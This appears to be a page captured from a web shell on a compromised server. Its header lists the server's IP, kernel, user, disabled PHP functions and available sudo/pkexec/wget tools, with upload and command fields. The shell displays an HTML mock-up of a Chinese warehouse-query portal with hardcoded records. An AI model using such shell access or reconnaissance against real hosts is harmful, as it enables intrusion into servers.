403Webshell
Server IP : 156.238.232.47  /  Your IP : 216.73.216.150
Web Server : nginx/1.25.3
System : Linux C202504152095410 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : www ( 1000)
PHP Version : 8.3.25
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/data/wwwroot/2026_08_05_01/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/data/wwwroot/2026_08_05_01/index.html
<!doctype html>
<html lang="zh-CN">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta name="theme-color" content="#3d98ed" />
    <title>出入库查询 - 中储发展</title>
    <link rel="stylesheet" href="/index.css" />
  </head>
  <body>
    <div class="app-shell">
      <aside class="side-rail" aria-label="主导航">
        <div class="avatar" title="当前用户">
          <img src="/assets/user.png" alt="" />
        </div>
        <button class="rail-button active" type="button" title="OMS 工作台" aria-label="OMS 工作台">
          <img class="rail-icon" src="/assets/ico_p_7oms.png" alt="" />
        </button>
        <button class="rail-button report" type="button" title="业务报表" aria-label="业务报表">
          <img class="rail-icon" src="/assets/ico_p_report.png" alt="" />
        </button>
        <button class="back-button" type="button" title="返回" aria-label="返回">
          <img class="back-icon" src="/assets/ico_L.png" alt="" />
        </button>
      </aside>

      <section class="workspace">
        <header class="topbar">
          <img class="company-logo" src="/assets/logo.png" alt="中储发展股份有限公司" />
          <nav class="top-actions" aria-label="辅助导航">
            <button class="top-action" type="button">自助服务 <span>⌄</span></button>
            <button class="top-action" type="button">设置中心 <span>⌄</span></button>
            <button class="theme-button" type="button" title="界面主题" aria-label="界面主题"><span class="shirt-icon"></span></button>
          </nav>
        </header>

        <div class="tabbar" role="tablist" aria-label="已打开页面">
          <button class="tab" type="button" role="tab" aria-selected="false">工作台</button>
          <button class="tab active mode-tab" id="inbound-tab" data-mode="inbound" type="button" role="tab" aria-selected="true">
            入库查询 <span class="tab-close" title="关闭页签" aria-label="关闭页签">×</span>
          </button>
          <button class="tab mode-tab" id="outbound-tab" data-mode="outbound" type="button" role="tab" aria-selected="false">
            出库查询 <span class="tab-close" title="关闭页签" aria-label="关闭页签">×</span>
          </button>
        </div>

        <main class="page-panel" id="inbound-panel">
          <section class="query-panel" aria-labelledby="query-title">
            <div class="query-heading">
              <button class="query-toggle" id="query-toggle" type="button" aria-expanded="true">
                <span id="query-title">查询条件</span><span class="caret"></span>
              </button>
              <div class="query-actions">
                <button class="button secondary" id="clear-button" type="button">清空</button>
                <button class="button primary" id="search-button" type="button">查询</button>
                <button class="button secondary" id="export-button" type="button"><span class="export-icon"><img src="/assets/scm.cmstws.com_SCM.Cloud.Web_WorkStation_Index.png" alt="" width="16" height="16" /></span> 导出</button>
              </div>
            </div>

            <form class="query-form" id="query-form">
              <label class="form-field">
                <span>仓库代码:</span>
                <div class="input-wrap"><input id="warehouse" type="text" /><span class="search-icon"></span></div>
              </label>
              <label class="form-field">
                <span>货品名称:</span>
                <div class="input-wrap"><input id="goods" type="text" /><span class="search-icon"></span></div>
              </label>
              <label class="form-field">
                <span>存储卡号:</span>
                <input id="storage-card" type="text" />
              </label>
              <label class="form-field">
                <span>牌号:</span>
                <input id="brand" type="text" />
              </label>
              <label class="form-field">
                <span id="type-label">入库方式:</span>
                <select id="business-type">
                  <option value="">请选择</option>
                  <option>采购入库</option>
                  <option>调拨入库</option>
                </select>
              </label>
              <label class="form-field">
                <span>开始时间:</span>
                <div class="input-wrap time"><span class="time-icon"></span><input id="start-time" type="text" value="2023-12-04 00:00" /></div>
              </label>
              <label class="form-field">
                <span>结束时间:</span>
                <div class="input-wrap time"><span class="time-icon"></span><input id="end-time" type="text" value="2023-12-04 23:59" /></div>
              </label>
              <span class="form-spacer" aria-hidden="true"></span>
            </form>
          </section>

          <section class="result-area" id="result-area" aria-label="入库查询结果">
            <div class="table-scroll" id="table-scroll">
              <table class="data-table">
                <thead>
                  <tr id="table-head-row"></tr>
                </thead>
                <tbody id="table-body"></tbody>
              </table>
            </div>

            <div class="total-bar" id="total-bar" aria-label="合计">
              <table class="data-table total-table">
                <tfoot>
                  <tr id="total-row"></tr>
                </tfoot>
              </table>
            </div>

            <footer class="table-footer">
              <button class="columns-button" id="columns-button" type="button"><span>⚙</span> 编辑列</button>
              <div class="pagination" aria-label="分页">
                <button type="button" disabled aria-label="上一页">‹</button>
                <button class="current" type="button" aria-current="page">1</button>
                <button type="button" disabled aria-label="下一页">›</button>
                <span>共 <b id="result-count">0</b> 条</span>
                <select aria-label="每页条数"><option>20条/页</option><option>50条/页</option></select>
              </div>
            </footer>
          </section>
        </main>

        <section class="welcome-panel" id="welcome-panel" hidden>
          <h1>工作台</h1><p>请选择左侧功能进入业务页面。</p>
        </section>
      </section>
    </div>

    <dialog class="columns-dialog" id="columns-dialog">
      <form method="dialog">
        <header><h2>编辑显示列</h2><button value="cancel" type="submit" aria-label="关闭">×</button></header>
        <div class="column-options" id="column-options"></div>
        <footer><button class="button secondary" value="reset" id="columns-reset" type="button">恢复默认</button><button class="button primary" value="confirm" type="submit">确定</button></footer>
      </form>
    </dialog>

    <div class="toast" id="toast" role="status" aria-live="polite"></div>

    <script>
      const dataSets = {
        inbound: {
          title: "入库查询",
          fileName: "入库查询.csv",
          minWidth: 2020,
          queryFields: [
            { key: "warehouseName", label: "仓库代码:", type: "search" },
            { key: "goodsName", label: "货品名称:", type: "search" },
            { key: "storageCard", label: "存储卡号:" },
            { key: "brand", label: "牌号:" },
            { key: "businessType", label: "入库方式:", type: "select", options: ["过户", "采购入库", "调拨入库"] },
            { key: "startTime", label: "开始时间:", type: "time", value: "2023-12-04 00:00" },
            { key: "endTime", label: "结束时间:", type: "time", value: "2023-12-04 23:59" }
          ],
          columns: [
            { key: "warehouseName", label: "仓库名称", width: 170 },
            { key: "owner", label: "存货人名称", width: 240, link: true },
            { key: "goodsName", label: "货品名称", width: 170 },
            { key: "brand", label: "品牌", width: 170 },
            { key: "storageCard", label: "存储卡号", width: 170 },
            { key: "pieces", label: "实收件数", width: 170, total: true },
            { key: "quantity", label: "收货量", width: 170, total: true, decimals: 3 },
            { key: "businessTime", label: "入库时间", width: 285 },
            { key: "orderNo", label: "入库订单号", width: 170, filter: true },
            { key: "signed", label: "是否已签章", width: 155 },
            { key: "businessType", label: "入库方式", width: 155 }
          ],
          rows: [
            { warehouseName: "吴淞仓宝杨路", owner: "厦门市晢亨实业有限公司", goodsName: "铜板", brand: "ONSAN", storageCard: "23W-224459", pieces: 38, quantity: 99.038, businessTime: "2023-12-04 19:09", orderNo: "HZ2312040516", signed: "是", businessType: "过户" },
            { warehouseName: "吴淞仓宝杨路", owner: "厦门市晢亨实业有限公司", goodsName: "铜板", brand: "ONSAN", storageCard: "23W-224458", pieces: 16, quantity: 38.819, businessTime: "2023-12-04 19:09", orderNo: "HZ2312040505", signed: "是", businessType: "过户" },
            { warehouseName: "吴淞仓宝杨路", owner: "厦门市晢亨实业有限公司", goodsName: "铜板", brand: "ONSAN", storageCard: "23W-224458", pieces: 4, quantity: 11.087, businessTime: "2023-12-04 19:09", orderNo: "HZ2312040505", signed: "是", businessType: "过户" }
          ]
        },
        outbound: {
          title: "出库查询",
          fileName: "出库查询.csv",
          minWidth: 2590,
          queryFields: [
            { key: "warehouseName", label: "仓库代码:", type: "search" },
            { key: "extNo", label: "单据编号(EXT):" },
            { key: "goodsName", label: "货品名称:", type: "search" },
            { key: "storageCard", label: "存储卡号:" },
            { key: "brand", label: "牌号:" },
            { key: "businessType", label: "出库方式:", type: "select", options: ["过户", "销售出库", "调拨出库"] },
            { key: "startTime", label: "开始时间:", type: "time", value: "2023-12-04 00:00" },
            { key: "endTime", label: "结束时间:", type: "time", value: "2023-12-04 23:59" }
          ],
          columns: [
            { key: "warehouseName", label: "仓库名称", width: 150 },
            { key: "status", label: "状态", width: 118, status: true, selectFilter: "无限制" },
            { key: "businessType", label: "出库方式", width: 118 },
            { key: "transportType", label: "运输方式", width: 118 },
            { key: "extNo", label: "单据编号(EXT)", width: 150 },
            { key: "orderNo", label: "出库订单号", width: 150, filter: true, link: true },
            { key: "storageCard", label: "存储卡号", width: 118 },
            { key: "owner", label: "存货人名称", width: 240, link: true },
            { key: "receiver", label: "至存货人名称", width: 290, link: true },
            { key: "goodsName", label: "货品名称", width: 118 },
            { key: "brand", label: "品牌", width: 118 },
            { key: "pieces", label: "出库件数", width: 118, total: true },
            { key: "quantity", label: "发货重量", width: 118, decimals: 3, total: true },
            { key: "businessTime", label: "出库时间", width: 220 },
            { key: "printCount", label: "打印张数", width: 118 }
          ],
          rows: [
            { warehouseName: "吴淞仓宝杨路", status: "货权确认", businessType: "过户", transportType: "", extNo: "ZH20231204-3", orderNo: "HZ2312040548", storageCard: "23W-224459", owner: "厦门市晢亨实业有限公司", receiver: "磐途(厦门)供应链管理有限公司", goodsName: "铜板", brand: "ONSAN", pieces: 38, quantity: 99.038, businessTime: "2023-12-04 19:09", printCount: 0 },
            { warehouseName: "吴淞仓宝杨路", status: "货权确认", businessType: "过户", transportType: "", extNo: "ZH20231204-2", orderNo: "HZ2312040543", storageCard: "23W-224458", owner: "厦门市晢亨实业有限公司", receiver: "磐途(厦门)供应链管理有限公司", goodsName: "铜板", brand: "ONSAN", pieces: 20, quantity: 49.906, businessTime: "2023-12-04 19:09", printCount: 0 }
          ]
        }
      };

      let currentMode = "inbound";
      let visibleRows = [];
      const hiddenColumns = new Set();
      const queryForm = document.querySelector("#query-form");
      const table = document.querySelector(".data-table");
      const totalTable = document.querySelector(".total-table");
      const tableScroll = document.querySelector("#table-scroll");
      const tableHead = document.querySelector("#table-head-row");
      const totalRow = document.querySelector("#total-row");
      const tbody = document.querySelector("#table-body");
      const toast = document.querySelector("#toast");
      const dialog = document.querySelector("#columns-dialog");
      const options = document.querySelector("#column-options");

      function getModeConfig() {
        return dataSets[currentMode];
      }

      function escapeHtml(value) {
        return String(value ?? "").replace(/[&<>"']/g, char => ({ "&": "&amp;", "<": "&lt;", ">": "&gt;", '"': "&quot;", "'": "&#39;" }[char]));
      }

      function formatValue(row, column) {
        const value = row[column.key] ?? "";
        if (column.decimals && typeof value === "number") return value.toFixed(column.decimals);
        return escapeHtml(value);
      }

      function renderQueryForm() {
        const fields = getModeConfig().queryFields.map(field => {
          const id = `query-${field.key}`;
          const value = field.value ?? "";
          const control = field.type === "select"
            ? `<select id="${id}" data-query-key="${field.key}"><option value="">请选择</option>${field.options.map(option => `<option>${option}</option>`).join("")}</select>`
            : `<div class="input-wrap ${field.type === "time" ? "time" : ""}">${field.type === "time" ? '<span class="time-icon"></span>' : ""}<input id="${id}" data-query-key="${field.key}" type="text" value="${value}" />${field.type === "search" ? '<span class="search-icon"></span>' : ""}</div>`;
          return `<label class="form-field"><span>${field.label}</span>${control}</label>`;
        }).join("");
        queryForm.innerHTML = `${fields}<span class="form-spacer" aria-hidden="true"></span>`;
      }

      function renderHeader() {
        const config = getModeConfig();
        table.style.minWidth = `${config.minWidth}px`;
        totalTable.style.minWidth = `${config.minWidth}px`;
        tableHead.innerHTML = [
          `<th class="index-col"></th>`,
          `<th class="check-col"><input id="check-all" type="checkbox" aria-label="全选" /></th>`,
          ...config.columns.map(column => {
            const filter = column.filter
              ? `<div class="column-filter"><b>=</b><input id="order-filter" type="text" placeholder="请输入${column.label}" /><button id="order-filter-clear" type="button" aria-label="清除订单筛选">×</button></div>`
              : "";
            const selectFilter = column.selectFilter ? `<div class="select-filter">${column.selectFilter}</div>` : "";
            return `<th data-column="${column.key}" class="${filter || selectFilter ? "filter-heading" : ""}" style="width:${column.width}px"><span>${column.label}</span><i class="sort"></i>${selectFilter}${filter}</th>`;
          })
        ].join("");
        totalRow.innerHTML = `<td class="index-col"></td><td class="check-col"></td>${config.columns.map((column, index) => {
          const attributes = `data-column="${column.key}" style="width:${column.width}px"`;
          if (index === 0) return `<td ${attributes}>合计</td>`;
          if (column.total) return `<td ${attributes} id="total-${column.key}">0</td>`;
          return `<td ${attributes}></td>`;
        }).join("")}`;
        document.querySelector("#check-all").addEventListener("change", event => document.querySelectorAll(".row-check").forEach(input => input.checked = event.target.checked));
        const orderFilter = document.querySelector("#order-filter");
        if (orderFilter) {
          orderFilter.addEventListener("keydown", event => { if (event.key === "Enter") queryRows(); });
          document.querySelector("#order-filter-clear").addEventListener("click", () => { orderFilter.value = ""; queryRows(); });
        }
      }

      tableScroll.addEventListener("scroll", () => {
        totalTable.style.transform = `translateX(${-tableScroll.scrollLeft}px)`;
      });

      function renderRows(rows) {
        const columns = getModeConfig().columns;
        tbody.innerHTML = rows.length ? rows.map((row, index) => `
          <tr>
            <td>${index + 1}</td>
            <td><input class="row-check" type="checkbox" aria-label="选择第${index + 1}行" /></td>
            ${columns.map(column => {
              const content = column.status
                ? `<span class="status-cell"><span class="status-dot">✓</span>${formatValue(row, column)}</span>`
                : column.link && row[column.key]
                  ? `<a href="#">${formatValue(row, column)}</a>`
                  : formatValue(row, column);
              return `<td data-column="${column.key}">${content}</td>`;
            }).join("")}
          </tr>`).join("") : `<tr class="empty-row"><td colspan="${columns.length + 2}">暂无符合条件的数据</td></tr>`;
        columns.filter(column => column.total).forEach(column => {
          const total = rows.reduce((sum, row) => sum + Number(row[column.key] || 0), 0);
          document.querySelector(`#total-${column.key}`).textContent = column.decimals ? total.toFixed(column.decimals) : total;
        });
        document.querySelector("#result-count").textContent = rows.length;
        applyHiddenColumns();
      }

      function getQueryValues() {
        const values = {};
        queryForm.querySelectorAll("[data-query-key]").forEach(input => {
          values[input.dataset.queryKey] = input.value.trim().toLowerCase();
        });
        const orderFilter = document.querySelector("#order-filter");
        if (orderFilter) values.orderNo = orderFilter.value.trim().toLowerCase();
        delete values.startTime;
        delete values.endTime;
        return values;
      }

      function queryRows() {
        const values = getQueryValues();
        visibleRows = getModeConfig().rows.filter(row => Object.entries(values).every(([key, value]) => !value || String(row[key] ?? "").toLowerCase().includes(value)));
        renderRows(visibleRows);
        showToast(`查询完成,共 ${visibleRows.length} 条`);
      }

      function resetQueryForm() {
        getModeConfig().queryFields.forEach(field => {
          const input = document.querySelector(`#query-${field.key}`);
          if (input) input.value = field.value ?? "";
        });
        const orderFilter = document.querySelector("#order-filter");
        if (orderFilter) orderFilter.value = "";
      }

      function showToast(message) {
        toast.textContent = message;
        toast.classList.add("show");
        clearTimeout(showToast.timer);
        showToast.timer = setTimeout(() => toast.classList.remove("show"), 1800);
      }

      document.querySelector("#search-button").addEventListener("click", queryRows);
      queryForm.addEventListener("submit", event => { event.preventDefault(); queryRows(); });
      document.querySelector("#clear-button").addEventListener("click", () => {
        resetQueryForm();
        visibleRows = [...getModeConfig().rows];
        renderRows(visibleRows);
        showToast("查询条件已清空");
      });

      document.querySelector("#query-toggle").addEventListener("click", event => {
        const expanded = event.currentTarget.getAttribute("aria-expanded") === "true";
        event.currentTarget.setAttribute("aria-expanded", String(!expanded));
        queryForm.classList.toggle("collapsed", expanded);
      });

      document.querySelector("#export-button").addEventListener("click", () => {
        const columns = getModeConfig().columns.filter(column => !hiddenColumns.has(column.key));
        const csv = [columns.map(column => column.label), ...visibleRows.map(row => columns.map(column => row[column.key] ?? ""))]
          .map(line => line.map(value => `"${String(value).replaceAll('"', '""')}"`).join(",")).join("\n");
        const link = document.createElement("a");
        link.href = URL.createObjectURL(new Blob(["\uFEFF" + csv], { type: "text/csv;charset=utf-8" }));
        link.download = getModeConfig().fileName; link.click(); URL.revokeObjectURL(link.href);
        showToast("已导出当前查询结果");
      });

      document.querySelectorAll(".mode-tab").forEach(tab => tab.addEventListener("click", event => setMode(event.currentTarget.dataset.mode)));

      document.querySelector(".tab-close").addEventListener("click", event => {
        event.stopPropagation(); document.querySelector("#inbound-tab").hidden = true;
        document.querySelector("#inbound-panel").hidden = true; document.querySelector("#welcome-panel").hidden = false;
        document.querySelector(".tab:first-child").classList.add("active");
      });

      document.querySelector("#columns-button").addEventListener("click", () => dialog.showModal());
      options.addEventListener("change", event => {
        event.target.checked ? hiddenColumns.delete(event.target.value) : hiddenColumns.add(event.target.value);
        applyHiddenColumns();
      });
      document.querySelector("#columns-reset").addEventListener("click", () => {
        hiddenColumns.clear(); options.querySelectorAll("input").forEach(input => input.checked = true); applyHiddenColumns();
      });

      function renderColumnOptions() {
        options.innerHTML = getModeConfig().columns
          .map(column => `<label><input type="checkbox" value="${column.key}" ${hiddenColumns.has(column.key) ? "" : "checked"} /> ${column.label}</label>`)
          .join("");
      }

      function applyHiddenColumns() {
        getModeConfig().columns.forEach(column => document.querySelectorAll(`[data-column="${column.key}"]`).forEach(cell => cell.classList.toggle("column-hidden", hiddenColumns.has(column.key))));
      }

      function setMode(mode) {
        currentMode = mode;
        const config = getModeConfig();
        tableScroll.scrollLeft = 0;
        totalTable.style.transform = "translateX(0)";
        document.title = `${config.title} - 中储发展`;
        document.querySelector("#result-area").setAttribute("aria-label", `${config.title}结果`);
        document.querySelectorAll(".mode-tab").forEach(tab => {
          const active = tab.dataset.mode === currentMode;
          tab.classList.toggle("active", active);
          tab.setAttribute("aria-selected", String(active));
        });
        renderQueryForm();
        renderHeader();
        renderColumnOptions();
        resetQueryForm();
        visibleRows = [...config.rows];
        renderRows(visibleRows);
      }

      setMode("inbound");
    </script>
  </body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit